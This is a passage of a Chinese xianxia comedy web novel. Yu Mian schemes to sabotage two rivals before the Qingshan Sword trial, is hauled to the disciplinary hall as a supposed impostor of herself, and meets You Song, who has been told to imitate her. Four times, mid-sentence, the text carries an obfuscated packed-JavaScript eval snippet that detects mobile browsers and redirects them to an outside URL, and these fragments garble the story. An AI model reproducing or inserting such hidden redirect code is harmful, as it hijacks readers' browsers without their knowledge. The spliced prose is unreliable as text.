吐槽完,她放下了刚刚自在随意的二郎腿,认认真真地分析起来。 看样子两人都是青山剑的试炼中与大师姐生了虐恋。 那么让他们两个人没法参加试炼就可以拯救大师姐了。 喻眠想得很简单。 白云间选拔弟子参加试炼的标准一向很清晰,在要求的弟子范围中选择最优秀的。 尤宋是大师姐和二师兄讨论时所需要的妖族弟子。 方溢鸣则是懂得器物的炼器师。 那么只要有比尤宋更加优秀的妖族弟子和比方溢鸣更懂器物的炼器师就可以了。 喻眠想到好办法了。 身为天道爽文升级流女主角,此时此刻她必要隐藏身份,伪装妖族,隐姓埋名潜入外门,偷师炼器技法,并通过自己不断的努力成为外门妖族弟子第一人! 想到这里喻眠又笑了起来,双腿交叠二郎腿嚣张地架在桌上,脚尖晃动,身下翘起椅子,前两椅腿悬空,整个人随着椅子肆意地摇晃,她道:“没错!打败一个人就是要全方位地碾压他!外门,我来了!” 喻眠越说越兴奋,越摇越高兴。 然后椅子就滑倒了。 重心偏移的瞬间,她的手不断向前扑棱试图抓住桌子,但是并没有成功,只连带着桌上的水杯一起往下摔。 喻眠整个人后仰倒向地,后背重重砸在椅背上,后脑勺嗑出闷响,水杯里的水稀里哗啦地撒成一片,浸透了整张脸,她睁不开眼来。 喻眠强撑着想要起身,但是浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818708|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身经骨都疼得她动弹不得。 偏偏这时候门外偷听的师妹听到动静“哐”地拉开门,慌慌张张地说:“师姐打败对手还需要自残的吗?如果我没有搞错三师姐你修的不是无情道吗?无情道也需要如练此功,必先自宫的吗?” 喻眠瘫在地上,双目无神:“没什么,只是你师姐我打算改变一下打败对手的方法了。” 师妹不解地看着喻眠。 感受着浑身上下每一块肉传来的疼痛感,喻眠自知这样的自己单单是康复都要很长一段时间,更别说当下立马修炼超越对手了。 她忍痛对师妹笑了笑,说道:“提升自己不一定能打败对手,但是谋害对手一定能让自己比对手更强。师姐我这是故意摔倒,使自己看着柔弱非常,放松对手警惕,从而使对手轻敌,师姐我便可偷袭对手使之实力下降,比不过我。” “那倒也不用真摔……” 喻眠轻蔑一笑:“师姐我可不是你,师姐向来认真。” 说完她伤口吃痛一叫。 基于当下的情况,喻眠想出了决定了最终方案,那就是立马赶去外门搞破坏搅浑水。 虽然她现在没法变成更优秀的妖族人士和更优秀的炼器师,但是她可以搞破坏,影响两人这一个月的修炼,让他们在青山剑试炼前,在众人印象中并不是最优秀的两位。 这样同样可以他们两个会让大师姐丢失性命的人进不了取青山剑的队伍。 师妹还是困惑。 喻眠这时稍微缓了一点过来,强撑着起身,扶着腰一瘸一拐地拉开房门,起身离去,对着师妹说道:“我不等李堂主回来了,这次不需要她来给我下惩罚了,我自己想好给自己的惩罚了,我直接走了。” 她记着刚刚师妹说外门缺人手,她给自己的想的惩罚就是去外门帮忙,借机捣乱。 小师妹见喻眠准备起身离开,慌不择路地跟了过来,劝道:“不好吧三师姐,你自说自话直接走了的话李师姐肯定会生气的,而且下次被抓到还是要一起罚,何必呢?” “是啊,何必呢?”一阵暗哑的声音附和着阴阳怪气道,“还是说我们喻少门主自请领个白云间最高刑法,所以才不需要和我说一声就可以直接走了呢。” 喻眠循声看去,只见身量不高的面纱少女徐徐走来,一袭黑袍,肩顶雪鸮鸟。 来人正是刚刚用鸟监视到她违规违纪的执法堂堂主李玄琳,也是她刚刚向大师姐告的状。 就这么刚刚好回来了? 不会吧,她又这么倒霉? 喻眠看到她后垮起一张脸。 12. 第十二章 “那肯定是决定挑选好不会被师妹反驳的刑法了啊,我又不是那种直接逃跑的胆小鼠辈。”喻眠讪讪回道。 脚下动作却是往后踉跄着退了一步,半只脚回到房间内,一副想要逃跑的样子。 “哦?那请我的好师姐告诉我是个什么刑法呢?水牢?雷刑?”李玄琳步步逼近,嘴里阴阳着喻眠道。 喻眠立马转身,又因动作太快牵动伤口,五官皱成一团,她步幅左右摇晃地走,但步速很快,像暴风雨中摇晃的破帆。 她一拳砸破窗,扔剑,翻窗而下,驾着剑驶开,转头嬉皮笑脸一笑,然后又吃痛龇牙咧嘴地捂住伤口,遥遥留下一句:“本人想的惩罚是本人自请当外门老师,支援如今人手紧缺的外门。既惩罚了自己也帮助了师门,师妹不要太感动,师姐我就是这样乐于奉献。” 李玄琳表情错愕。 小师妹站在李玄琳旁边,侧身抬头,小声开口道:“师姐,那我们这次还要报告给大师姐吗?” 李玄琳拧着眉:“不,不用,她这次倒是太听话了一些。” 小师妹表情困惑地看着李玄琳。 “外门现在是挺缺人的,喻师姐的实力又的确可以教学。”李玄琳眉毛始终没有舒缓,“而且这个对她而言也算一件苦差事了,当作惩罚倒也不是不行。只不过我想不明白她为什么这次这么乖巧。” 小师妹也努力地绑着想了起来:“三师姐回来的时候头发带雪,浑身也是一股寒意,似乎刚从外门试炼的地方那里赶过来,刚刚我在房门又听到她说着要去外门打败谁谁谁,是不是看到努力的新弟子被激励到了呢?” 李玄琳冷哼一声:“指望三师姐她被激励?不如指望执法堂新来的这批弟子有能扛得起事的,之后我们也好轻松一些。不过你这么一说,我倒是想起了另外一件事。” 看着小师妹一副期待听故事的样子,李玄琳顿了顿,伸手摸了摸小师妹的脑袋,组织了一下语言,含糊不清地说道: “外门这批新弟子混着一个天器谷的弟子,据说好像刚刚与喻师姐发生了什么事。我怀疑喻眠是不是对他生了些情绪,特地找去外门的。” 两个宗门的核心弟子的矛盾不好讲述得太清楚,李玄琳含含糊糊地说了一下,小师妹懵懵懂懂地点着头。 李玄琳道:“你别和你那些朋友说啊,没一个嘴巴严实的。” 小师妹如小鸡啄米般地连连点头保证。 * 半个时辰后。 白云间外门,弟子居。 “跟你们说,我们外门这一批新弟子里有个蓝颜祸水,把少门主都给迷住了呢!” “真的假的?”提到亲传弟子,周遭弟子都提起了兴趣,凑了过来,问道。 “那还能有假?内门执法堂传来的消息呢!说什么蓝颜祸水刚刚与少门主发生了什么事,三师姐对他生了些情绪,都要找到外门来呢。” “情绪?情愫吧,你口音真不标准。”在场一些人哄笑起来。 传八卦的有些恼了:“你们还想不想继续听了。” “听听听,那个蓝颜祸水是啥样一个人啊?能让白云间的亲传弟子喜欢上。”问话的人有些好奇为什么白云道长的嫡亲徒弟能看上外门的弟子。 见围过来的人越来越多,想到传话人嘱咐不要再把少门主的八卦传出去的话,传八卦的偷偷顺着问话人的意思将喻眠的名字打了个马,只说是亲传弟子: “具体的告诉我的人也没有说得太清楚。就知道那个蓝颜祸水本来是别的大地方的弟子,勾得亲传弟子在外门试炼上生了情绪。我觉得大概就是相貌出众,让她一见钟情。” “白云间亲传弟子爱上隐姓埋名外门的他?这也太劲爆了。” 喻眠刚刚赶到外门弟子居,就听到了如此惊天的消息。 我去,大师姐已经爱上那两二货的其中一个了吗? 这么吓人。 不过为啥消息传得这么快这么离奇,她都还没有看出来大师姐生了情愫呢,怎么外门的弟子都知道了? 喻眠瘸着腿凑上去问道:“这么劲爆?哪个亲传弟子啊?感觉那三位亲传弟子哪个都不太可能啊。” 她还是想确认一下消息。 刚刚提起这个八卦的弟子听这话知道她是刚凑过来听的,见她面生,存心逗弄说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818709|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“想知道?” 喻眠止不住点头。 那人笑了:“这可不是你一个小小外门弟子能探听的事。想知道的话不得向你林师姐我表表态度?” “好师姐,你人最好了,可怜可怜想听八卦的我吧。”喻眠楚楚可怜地说道。 传消息八卦的林小满满意地点了点头,说道:“其实很好确认是谁,不过我也不好对你说得太直接,懂得都懂,不懂的我也不好多说。” 喻眠嘴角下撇,整个人像被抢走毛线球的猫,浑身散发着委屈的情绪:“坏师姐,捉弄我。” 林小满看着她这副样子,缴械投降,举起双手,又看了看围在周围一圈的人,叹口气道:“好了好了告诉你个提示吧。内部消息说这位亲传弟子会为了这个蓝颜祸水特地来到我们外门追爱,你到时候看谁来了就知道了。” 喻眠震惊:“追爱?怎么个追法?” 她实在想不到大师姐能怎么追爱。 “收起你那直白的表情。人家亲传弟子的追爱能和你想的一样直白吗?人家可是要来外门当老师的,多婉转,多甜蜜。”林小满看着喻眠的表情有些嫌弃。 “那我们也能蹭课吗?”有人插话道。 “人家准嫌你碍事,妨碍人家一对一教学的二人世界,直接给你赶出白云间。” 说这话的女弟子和问话者明显是极好的朋友,说完就笑弯了身往她靠去。 喻眠越听越震惊,她大师姐真没救了啊。 一见钟情,发生首尾,暗生情愫,前来追爱,还要一对一教学。 喻眠忍不住开口道:“我还是觉得大师姐不像这样的人。” 喻眠说到拜无衣,全场安静了下来。 “谁跟你说是清渊道长了?”林小满诧异地说道,“是少门主喻眠!” 喻眠:? 你说谁? 少门主喻眠? 她喜欢上了外门弟子? 而且还是对那个不知道说的是谁的外门弟子一见钟情,发生首尾,然后暗生情愫,前来追爱? 最后还要一对一教学?! 她自己怎么都不知道? 13. 第十三章 喻眠黑着脸,其他人还在七嘴八舌的讨论,没有人注意到喻眠的脸色不对。 不过就算注意到了也没有人在乎这个从来没有见过的“外门新弟子”。 “喻眠?我果然猜的没错。”一位新围上来的弟子说道。 “你咋猜的啊?我咋猜不到呢,求教学。” “笨。你想也是了,就像这位黑脸师妹刚刚在那里说的,怎么可能是清渊道长啊。至于二师兄更不可能了。那就一定是少门主了呀,排除法。” 见众人又开始吵吵嚷嚷起来,话题的主角喻眠直接给站了出来,不过因为刚刚摔过动作并不稳当,她喊出声,道:“够了!别吵了!不可能是喻眠。” 全场被她的音量震得安静了一瞬,随即又开始议论了起来,没把这个面生的弟子当回事。 有个师妹接着喻眠那句话的话茬:“就是就是,这林小满就知道瞎说,怎么可能是我们的少门主大人!不信。” “切,你们就自欺欺人吧。喻眠的迷弟迷妹是这样的。粉随正主,就是不爱直面现实。”在那里说八卦的林小满在这里不屑地说道。 喻眠面上通红。 什么叫粉随正主?这里是白云间不是二师兄办的戏园子吧。 而且她哪里不爱直面现实了? 喻眠这么想,也这么问出了声。 “新来的就是新来的,这都不知道。”林小满道。 喻眠忍不住问道:“怎么说?” 林小满道:“这都没听说吗?一个时辰外门试炼前,少门主因为没办法直面大师姐批评教育的现实,直接疯了,一边挨骂一边狂笑起来。” 喻眠瞪着眼睛。 狂笑?她有吗? 这是以讹传讹吧。 “这件事是你们有误会,我当时就在外门试炼现场,不是你说的这样。”喻眠忍不住解释道。 “看吧,就说粉随正主,还说什么不是这样,就是无法接受现实。”林小满两手一摊,对着喻眠摇了摇头叹了口气。 “喂,林小满,你都没有去看过,人家可是在现场的吗,什么情况人家不比你清楚。”刚刚那个接过喻眠话的师妹怼过林小满道。 林小满息了声音,不过还是不满地撇撇嘴。 喻眠接着问道:“那除了这个还有什么别的事吗?” 林小满掀起眼皮,看着喻眠:“目前我还不知道,但是肯定是有的。” 那不就是没有吗? 喻眠开口,用林小满的戏园子逻辑来攻击她:“你是喻眠的黑粉吧,所以才这么传她黑料,其实你也知道你说的都是假的吧。” “我才不是。”林小满抬起头,不忿地开口,“我在白云间待了五年了,你才几年。你能比我更懂喻眠?” 喻眠:“……” 闻言,喻眠终于忍不住了,开口道:“你知道我是谁吗?” 林小满上上下下打量了起了喻眠:“这次外门试炼新来的弟子?” 喻眠不语,当下捂着腰的手,站直身子,挺直腰杆,用灵力吹起自己的头发,强劲的风将她的发丝吹得四散开。 她轻轻勾起唇角,故技重施,自报家门震慑听者,只不过这次她不再是巡逻的检察官了。 她掷地有声道:“没错。本人正是你们故事中的主角,少门主喻眠。” 说完她还学着大师姐,再环视全场一周后,开口训诫道:“身为白云间弟子,请不要背后非议旁人!” 最后想到他们刚刚聊的具体内容,还笑了笑,善解人意地宽慰自己的粉丝道:“不过请放心,本少门主修习无情道多年,可不会塌房爱上什么外门弟子。” 众人的目光的确惊讶不已,但是说出的话并不符合喻眠的预期。 “怎么又疯了一个?” “喻眠粉丝是这样的,粉随正主。” “等等等等,打住打住。她刚刚是不是违规用灵力给自己头发吹造型了。” “我去还真是,赶快把她架过去领赏。”有人兴奋地附和道。 “这是我发现的,你们不准和我抢功劳啊!” 喻眠:? 然后她就莫名其妙地被几个体格较大的弟子架起,抬着她往外门执法堂走去。 喻眠不好和小辈计较,不过还是非常茫然地看着外门的风景,以及围在旁边十分兴奋能领到赏赐的弟子们。 这到底是怎么回事? 喻眠带着问题茫然地被架起。 她看向旁边跟着架着她的队伍行走的师弟师妹们,问道:“什么叫又疯一个?你们为什么觉得我不是喻眠?看着不像吗?” 林小满不待师弟妹们回答,先道:“问这么多干嘛,留着口舌去执法堂狡辩为什么没有风的天气你的头发能飘起来吧。” 喻眠没有回话,只是盯着一个年龄不大的师妹看。 此人刚刚附和她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818710|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认同八卦故事中喜欢外门弟子的肯定不是喻眠,又被林小满鉴定了喻眠粉的粉籍。 于是喻眠的表情十分友善,和善地看着她笑。 那个师妹被看的似乎有些不好意思,涨红着脸开口道:“看什么看?一看就知道你不是。喻眠可是白云间的少门主,那该是何种风姿和气度,怎么会像你一样用灵气给自己吹造型耍帅。” 又有一个师弟补充道:“就是就是,而且这次外门试炼回来的弟子都说了,少门主是一个灵秀的少女。可不是你这样捂着腰瘸着腿,装乖卖萌听八卦的坏蛋。” 喻眠听完想了想,觉得自己在师弟妹心中的形象特别好,比刚刚去执法堂内门弟子们心中的形象好多了。 为了维护这么一个有风姿有气度的形象那她还是不解释自己真是喻眠了吧。 于是喻眠直接躺平不挣扎了,默认了自己就是一个想耍帅的外门弟子,一会功夫被抬到了执法堂外门分堂。 “报!这个人犯了事,被我们架过来领赏了。”一个弟子喜气洋洋的说道。 “行,登记一下姓名和犯了什么事。”执法堂一道清脆的童音回答道。 “不知道叫什么,这人也神志不清了,在那里自称少门主喻眠,你给她登记小迷妹就行。”一人抢先说道。 “犯的事是用灵力给自己头发吹造型,犯罪动机就写耍帅装酷。”又有一人抓住机会补充道。 “轻刑犯啊,两个人抬去和另外一个自称少门主的一屋。剩下的来登记名字,回头统一分赏。” 喻眠:原来真还有其他人自称喻眠?怪不得她刚刚自报家门没人信她。敢情是狼来了的故事呢。 喻眠这下真的不高兴了。 要当她的粉丝的话来者不拒。 但是怎么能假冒正主呢? 她喻眠可是世界上独一无二的。 喻眠被抬到目的地后,她不高兴地翻身而下,然而却闪到了受伤的腰,哀叫了两声,然后在一众惊讶她竟然可以挣脱束缚和她明明可以挣脱束缚却乖乖听话的目光中一瘸一拐地推开了房门。 “你究竟是谁?为何自称喻眠。”喻眠理直气壮道。 “喻眠?”一道暗哑的声音传来。 “对,问你为什么自称喻眠?”喻眠点点头,看向此人,一惊,表情兀得变色,“李李李、李师妹?” 一身黑衣,一副面纱,暗哑的声音。可不就是李师妹吗? 14. 第十四章 想到刚刚那清脆的童声,喻眠立马转头看去。 果然依旧是熟人,是刚刚在执法堂和她说话的八九岁大的小师妹。 怎么能尴尬成这样? 喻眠尴尬地笑了起来,回过头对着李玄琳说道:“好巧啊李师妹。” 说完她也不待李玄琳回复,“啪”地一声直接合上房门。 再从袖子里甩出几个“锁”符贴了上去,让李玄琳短时间难以出门找她算账。 然后喻眠直接转过身,面不改色地对着目瞪口呆的两个弟子说道: “你们抬错地方了?应该把我抬到哪间才对?我现在自己走过去。” 都已经能挣脱我们的架抬了,还能把李堂主锁在房内了,就这样还要乖乖去规定的房间里领罚吗?! 两个弟子大受震撼,手上还是很实诚地指了指对面的房间。 “就对面这个,你刚刚推错门了。” 喻眠点了点头,梅开二度地推开门,大摇大摆地走去:“你是何人?为何自称本少门主?” “姐姐?”一道娇俏的男声带着困惑说道。 喻眠闻言吓了一跳,抬眼看去,白净细腻的皮肤,秾艳娇丽的长相,水汪汪盛着委屈的俏眸,正是尤宋。 喻眠面无表情地关上门,她大抵是又推错门了。 然后回头对着弟子们说道:“也不是这个,你们指错了。” “就是这个,没指错。” “就是指错了,不是说关的是一个假冒本少门主的吗?这不是一个男人吗?男人怎么假冒我?”喻眠有些不虞。 “如果他不是男的,我们怎么发现他不是少门主呢?”一个弟子看着喻眠真诚说道。 喻眠忍了忍,却还是对这个答案扯了扯嘴角,又一次推开房门,抬步走入。 她随手带上门,把门外弟子们惊讶和吵嚷隔绝在外。 “这人不会真是少门主喻眠吧?”林小满道,神情带着八卦。 “至少不是简单的外门弟子,不然怎么有能力能挣脱我们两个大力王的束缚翻身而下。”一人回道。 “这肯定就是喻眠本尊了啊,她都可以把李堂主锁在门内了诶!”又一人说道。 “那我们还要继续登记领赏吗?”最开始发现喻眠违规使用灵力的人问道。 “不要了吧。感觉奖励名册会变成少门主的悬赏通缉名单,我反正不登记了。” 门外的人议论纷纷,但是执法堂的建筑质量好,隔音效果佳,于是喻眠和尤宋所在的屋内还是很安静。 尤宋看着喻眠,没有说话,席地而坐,长发飘散及腰间,他那双纤细白净穿出乌黑的发,他手拿着书卷,卷色洁白,书卷封面上宋体黑字地写“白云间心法”五个字。 喻眠开门见山问道:“尤宋,你为什么要假冒我?” “我没有啊。”尤宋真诚地看着喻眠道,眼神干净,没有一丝说谎话的痕迹。 喻眠有些愤愤,依旧认为他这是在狡辩。都被执法堂关起来了,这事难不成还能有误会吗? “可是外门的弟子都说你在那里自称自己是喻眠啊。”喻眠说道。 “哦,你说这个啊。这个不是假冒,是模仿。”他说得自然,拿着书卷的手指关节泛松,指骨用力后的薄粉都微微褪去。 模仿? 模仿和假冒的区别是……? 喻眠皱着眉头看着他:“好,你说是模仿那就是模仿吧,那你为什么要模仿我呢?” 闻言,尤宋冲着喻眠洋溢起灿烂的笑,他向喻眠解释道:“是二师兄让我这么做的。他说清渊道长让他培养我就是希望我能成为最优秀的妖族弟子去参加青山剑的试炼。 他还说变得优秀的办法就是学习同伴中优秀的人,和我差不多大的白云间最优秀的肯定是少门主喻眠,就让我模仿你啦。” 说完尤宋放下了手中的心法书,懒懒散散地往墙上一靠,打了一个大大的哈欠,眼神百无聊赖地看着桌上的木头纹路,嘴里碎碎念着:“真不想修炼啊,我要累死了一天天的。” 喻眠:“……” 尤宋看喻眠这幅表情,又跪坐直了身子,表情可怜兮兮,睫毛纤长,眼角微红:“难道我学得还是不像吗?我已经尽量全部按照二师兄的要求来了。” 于是他伸出双手撑地,腰用力把身子往前送,将那张秾艳娇丽的脸凑到喻眠面前,隐隐看到浅色眸中的泪光。 喻眠被他整怕了,不敢骂他,生怕又被污蔑上什么爱不爱的,她尽力扬起一抹微笑道:“和我一点都不像。” 尤宋有些恍然大悟:“对。现在你是站着的,我应该模仿那个站着的版本。” 粉衣少年又撑墙站了起来,扬起了一个喻眠同款微笑,用水母族的化形能力给自己的头发吹了一个新的造型,发丝纷飞飘扬,然后他又好像看到了什么东西一样,表情顿时慌乱:“这次的发型不是违规用灵力吹的,能不要告状给大师姐吗?拜托拜托。” 喻眠:“……” 这人怎么讨厌成这样? 大师姐让你教人,沈飞知你个混不吝的都人家教了什么乱七八糟的。 喻眠有些恼,但是尤宋此人又全方位立体性防御,打骂不得,打骂他就被他认为是在对自己示爱,于是她只好岔开话题,问道:“那你现在不应该还在沈飞知那里学习吗?怎么跑到外门来了?还因为假冒我被抓了?” 喻眠并不想承认尤宋的行为叫模仿,那岂不是说明她喻眠自己都认为自己就是那样一个人了? 尤宋突然不说话了,低着头认真地苦思冥想起来。 喻眠没耐心地戳了戳他:“在想什么呢?” 尤宋抬起头,娇俏的脸上十分沮丧:“我也不知道我是怎么被发现的。二师兄说除了理论学习还需要深入实践,让我来外门模仿你看看会不会被弟子们发现。我说外形不一样模仿得再想也还是会被认出来的,他说他是符修,可以帮我画一个易容符,没问题的。结果一来到外门还没开始模仿就被抓起来了。” 易容符? 世界上还真有这种东西? 沈飞知那个半吊子水平的还能搞出这样的符纂? 喻眠问道:“易容符在哪呢?我看看。” 尤宋扭腰转过身,伸手拨开自己散乱的发,露出一截雪白的脖颈,还有不被发丝遮掩的粉衣后背,他扭过头,对着喻眠喉结滚动,细声开口:“还贴在背上呢。” 喻眠看去,只见上面鬼画符的写着一团字——“我在假冒少门主喻眠!快来抓我去执法堂领赏!” 后面还画了一个大大的笑脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818711|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻眠扯下那张“易容符”,抓着放到尤宋眼前:“他贴上去之前,你难道没有看一眼吗?” 尤宋的半张俏脸被符纸遮着,剩下那半张脸表情有些茫然:“我看了,不过我不是符修,不懂符,这张符怎么了吗?” 喻眠把这张符翻过来,自己又重新看了一遍,看完皱着眉头又翻过去,将那行字抵到尤宋眼睛前,问道:“你不认字?” 斯文知礼引经据典的大师姐未来爱到要死要活的情劫,竟然是一个文盲? “我是妖族人,只识妖族文字,不懂人族的字。”尤宋说道。 喻眠了然,不过她没有和尤宋解释是怎么一回事。 沈飞知最后可是死于仇杀。 万一那个杀了沈飞知的人就是尤宋呢?动机就是因为沈飞知今天对他使坏。 不怕一万就怕万一。 于是喻眠收起那张符,弯着眼睛,说道:“他有几笔画错了,这张符是无效的,没有一丝一毫易容的效果。” 尤宋垂头丧气:“那我真的是在白云间给水母族丢人了。” 闻言,喻眠突然想到了一个好主意,对尤宋说道:“没关系啊。你可以给自己改个名字,反正你还没有正式在外门亮过相,你明天自我介绍就介绍自己的新名字。这样到时候这件事传出白云间去,就不是你尤宋做的了。既然不是尤宋做的,就和水母族没关系了。” 喻眠想借着这个机会忽悠尤宋取出一个不像现在这样得体的名字,然后狠狠精神攻击一下天天读圣贤书的大师姐。 大师姐肯定做不到对着一个名字叫狗剩的人深情表白说“狗剩,今夜月色真美”。 于是喻眠开口演讲道:“不过这个名字毕竟要陪伴你的外门时光,还是需要讲究一下的。 我有一个简单的人物特征起名法,姓氏加人物特征,我建议你按照这个方法来。 比如一位男子姓胡,长相英俊,那他就可以叫胡英俊;姓张的清秀美人就可以叫张小丽。 尤道友我看你简直就是“富润物,德润身,心宽体胖”和“一寸秋波盈盈在,千斛明珠觉未多”的人间代名词,整个人最大的特质就是心态心宽体肥和双目秋波盈盈。 不如各取一字,就叫——尤肥波!” 喻眠演讲得激情澎湃,然而尤宋久久未言,她以为自己要忽悠失败了。 然后尤宋就开口道:“那我就叫尤才吧!” 虽然这个也很蠢,但是喻眠还继续劝尤宋取回她说的那个又蠢又土的名字。 然而喻眠耳朵先听到了身后的开门声。 喻眠还没来得及转身,她先听到了一道暗哑的女声阴阳道:“是挺有财的,里衫金丝棉的。” 回头一看,李玄琳站在门前,合上房门,隔绝门外外门弟子们好奇的目光,右臂依靠着门框,左手摩挲着一张锁符,掀起眼皮看向喻眠和尤宋。 喻眠甩出的“锁”符等级不高,但是也绝对不低,喻眠没想到和尤宋说两句话的功夫,李玄琳就能破解。 刚刚丢出锁符本就是上头之举,现在喻眠看着李玄琳有些尴尬。 她手足无措地举起右手,手指僵硬地交替着抬起落下:“嗨,师妹,好巧。我的里衫也是金丝棉的。” 救命。 她在说什么。 15. 第十五章 “你怎么能这么俗气。”尤宋忍不住打断二人的对话,说话时有几分委屈,“我的才是才华的才。” 喻眠撇撇嘴。 一个因为不认识字而被二师兄戏弄的人也能担当上“才华”的才字吗? 尤宋看懂了喻眠的不屑,娇俏的脸上浮起红晕,他不高兴地拧起秀丽的眉毛问喻眠道:“我难道哪里担当不起这个字吗?” 喻眠刚刚就决定了不向他解释沈飞知符篆上的乌龙,于是现在只是笑着打了个哈哈。 李玄琳看着两人互动,投向喻眠的眼神逐渐转冷:“还这么高兴?怎么?是觉得自己被检举假冒少门主一事是误会就不会挨罚了是吗?” 喻眠知道李玄琳是生自己随便把她锁在门里的气,便耷拉脑袋,有些焉巴,乖乖认错道:“师妹,我错了。” 尤宋一向看不懂场上气氛,他也不会去思考嚣张的喻眠此时为什么这么老实,只随心而突兀地打断道:“检举假冒少门主?为什么你是喻眠本人也会像我一样被检举?” 说完他又自问自答了起来,还认真地一边分析一边点头:“一定是因为你模仿自己的时候没有告诉大家你就是本人,所以才会被误认是假冒。那为什么你要模仿自己呢?那一定是因为二师兄说的没错,模仿喻眠就是世界上最好的修炼方法,包括喻眠本人都不例外。” 语毕,尤宋眼睛亮了起来,像是顿悟了什么了不得的东西,也学着喻眠向李玄琳乖乖地低头,垂头丧气道:“对不起,我错了。” 李玄琳一脸莫名其妙,原本满心的火气都歇了几分,她问道喻眠:“这人是怎么了?脑袋还正常吗?他是怎么被选进白云间来的?” 李玄琳这话的意思是吐槽,喻眠却还是凑到她耳边,为了将功折罪,她细细解释起了尤宋进来的原因,故事中省去了她和二师兄与尤宋那些不悦的经过。 李玄琳听完深深吸了口气,这尤宋还是一个有些身份的人物,在青山剑试炼前还不能轻易记过。 毕竟按照白云间的规矩外门弟子记过满三次就要逐出宗门了,这尤宋看着就像喻眠一样不是一个省事的,日后免不了记过挨罚。 也万幸尤宋犯下的罪是“假冒亲传弟子”,这事可大可小,可以往小了处理简单批评一下不记过就结束了。 只是若是往小了处理便不能对同一时间犯错的喻眠厚此薄彼,对喻眠也要从轻发落。 这让李玄琳有些恨恨,短短一日时间喻眠就接连犯下三件错事竟然没法严惩。这在小弟子的眼中,这岂不是代表执法堂的威严可以被喻眠轻易挑衅。 李玄琳刚上任不久,和喻眠打得交道不多不少,对她倒霉又幸运的体质不够了解,只知道每次都能把犯错的喻眠抓个正着,却又每次其实没有让她受到什么真正意义上的惩罚。 喻眠那边不知道李玄琳已经打算好要对犯错的她轻拿轻放,还在那里撒泼卖萌求师妹放过。 她扬起白皙的脸,杏眼弯弯,嘴角带笑,拉起李玄琳的手摇晃,较软的声音落地清脆:“好师妹,你看我都告诉你此等机密了,今日一整天认错态度也十分良好,能否对我从轻发落呢?” 她绝口不提自己一天连犯三件错事和情急之下将李玄琳锁了起来的事。 尤宋不知道喻眠刚刚对李玄琳侧耳说了什么,只是想着沈飞知教他的那套模仿学习法,也扬起娇俏的脸,盛着笑意说道:“求放过。” 只是他长得比李玄琳高,再仰起头对着的就是李玄琳头上十几寸的空气了,看着并不觉得像喻眠做这套动作时可爱,反而还有几分滑稽。 李玄琳看着喻眠忽眨忽眨的眼睛和尤宋扬起的下巴尖忍不住抿起了嘴,却还是开口道:“可以从轻发落,但是你们两个在外门都要好好修炼,做到自己本分的事,也希望月底关于青山试炼的选拔不要让大师姐失望。” 说完她的眼睛注视着喻眠。 喻眠大大小小的惩罚和豁免都受多了,知道自己现在该表现出什么态度。 她立马又笑了起来,拉着李玄琳的手上下摇晃道:“那当然了师妹。” 李玄琳点了点头,抽开手,抬步准备开门离开。喻眠想起了天道之书关于青山试炼剧情,又连忙叫住她道:“不过师妹可以讲解一下关于青山剑试炼选拔的细则吗?我记得大师姐那边的意思是在外门为范围选人,怎么听师妹的意思似乎我也可以参与?” 大师姐今日和二师兄谈话的意思肯定是以外门为范围选人。 不然为了符合妖族青山试炼标准而招收妖族弟子举办的招生试炼,也不会是外门试炼而不是内门试炼了。 更何况大部分内门弟子都没有被通知到青山剑试炼一事。就连喻眠身为亲传弟子也是今天在大师姐和沈飞知的对话中刚刚得知此事。 喻眠因此有些困惑。 李玄琳恍然,反应过来喻眠可能并不知道青山剑试炼的细则,解释道:“虽是以外门为范围,却不是以外门弟子为标准。这次和以往先选人再组队的形式不同,是先自行组队再团队竞争比试,基本上都是一个外门老师带两个弟子,一个人族弟子,一个妖族弟子。喻师姐你正好打算在外门当老师,虽不是外门弟子却也在范围里。不妨找两个弟子参与一下活动,总归体验一下这个过程,若是最后比试结果不错,那就更好不过了。” 